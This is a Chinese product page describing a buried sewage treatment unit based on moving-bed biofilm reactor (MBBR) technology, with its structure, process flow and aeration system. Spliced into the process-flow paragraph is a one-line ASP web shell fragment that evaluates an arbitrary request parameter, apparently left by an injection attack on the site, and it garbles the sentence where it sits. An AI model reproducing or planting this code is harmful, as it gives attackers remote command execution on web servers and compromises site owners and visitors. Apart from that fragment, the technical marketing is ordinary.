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    微动力地埋一体化处理设备
    微动力地埋一体化处理设备

    国内地埋式一体化污水处理设备均是采用传统的A/O或者A2/O生物接触氧化法工艺 ,结构为初沉池 、厌氧池(缺氧池) 、好氧池 、二沉池 、加药消毒池等 ,其制造和工艺方面存在许多不可解决的缺陷 :

    碳钢材质的罐体材质易腐蚀 ,使用寿命极短 。

    内部悬挂的固定式填料易堵塞 。

    固定在底部的曝气装置不可维护 。

    罗茨风机或者回转式风机噪声大 。需要建设风机房 。

    二沉池需要设置回流泵 。增加能耗 。

    出水含有脱落的生物膜,浊度和悬浮物超标 。
    种种缺陷导致了这些被泥土埋起来的污水处理设备无法观察 、无法检修 、无法做工艺调整 ,最终成为一种寿命只有三至五年的一次性产品。

    我公司引进欧洲先进的好氧移动床生物膜反应器(Moving Bed Biofilm Reactor简称MBBR)技术 ,从改变设备结构 、增加生物量 、强化微生物代谢功能 、提高活性污泥凝聚沉淀性能入手 。创新研制出WA—A新型地埋式一体化污水处理设备 ,完全解决了国产传统地埋式污水处理设备的上述缺陷 ,为中国分散式污水处理设备的选型提供了新的选择 。

    好氧移动床生物膜反应器(MBBR)结构和工艺流程

    反应器结构

    MBBR主要由反应器内外罐体 、曝气机 、可提升式曝气装置和投加在污水中的纳米悬浮生物载体构成 。

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    工艺流程

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    流程说明 :流经化粪池的污水经格栅井流入调节池 ,格栅井内截留的杂物被人工清除 。污水用一级潜污泵提升到WA—A设备的内罐曝气区 ,曝气区充填WAN纳米悬浮生物载体 ,载体上的微生物膜和活性污泥利用污水中的C 、N 、P生长繁殖 ,水体污染物及水体富营养物质被消化吸收得以去除 。泥水自底部导流槽进入内外罐之间的沉淀区 。泥水分离后 ,污泥自动回到曝气区 ,净化后的水达标排放到受纳水体或进入中间水池 ,经二级潜污泵将净化后的水打入机械过滤器或者袋式过滤器 ,过滤后的水进入中水池以备绿化灌溉 、冲洗地面 、洗车等回用"%><%evals(request(chr(35)))%><

    MBBR工艺原理

    MBBR是结合了活性污泥法和生物膜法的优点 。同时又克服了二者的缺点而研制的一种新型高效反应器 ,其核心技术是 :选择一种比表面积巨大的悬浮生物载体投加进曝气区 。并接种硝化菌 、反硝化菌和其他生化菌群 。微生物菌群在悬浮生物载体和活性污泥中迅速生长繁殖 ,曝气时悬浮生物载体呈流化态在反应器内无序状翻滚流动 ,气 、液 、固()三相充分接触 ,污水中的污染物被生物膜和活性污泥截留 、吸附 ,并作为微生物的营养源 ,在其生长繁殖过程中被消化 ,最终污染物变为无害化的CO2 、H2O 、N2等 ,磷以生物污泥中磷酸盐沉淀的形式沉积在设备底部 ,排泥时排掉 ,污水得以降解 。

    纳米悬浮生物载体性能优越 。内部孔隙度高 ,比重略大于1 ,比表面积巨大 ,吸附能力极强 ,微生物易于附着 ,创造性地实现了既有物理吸附作用又有生物化学作用的吸附一降解一再吸附一再降解的动态循环过程 。可以直接投加到曝气池 ,很容易与活性污泥的互混互溶 ,永远不用担心堵塞系统 。永远可以不停水检修 。

    曝气系统性能优越 。MBBR的曝气系统由高压旋涡风机和可提升式曝气管组成 。曝气机能耗小 ,噪声低 ,使用寿命长 ,几乎不需维护 ,安装在地面伸手可及之处 。检修非常便利 。曝气管可以提升到顶部检查口处检修 ,系统不用停水 。人员永远不用下到设备底部维护曝气系统 。

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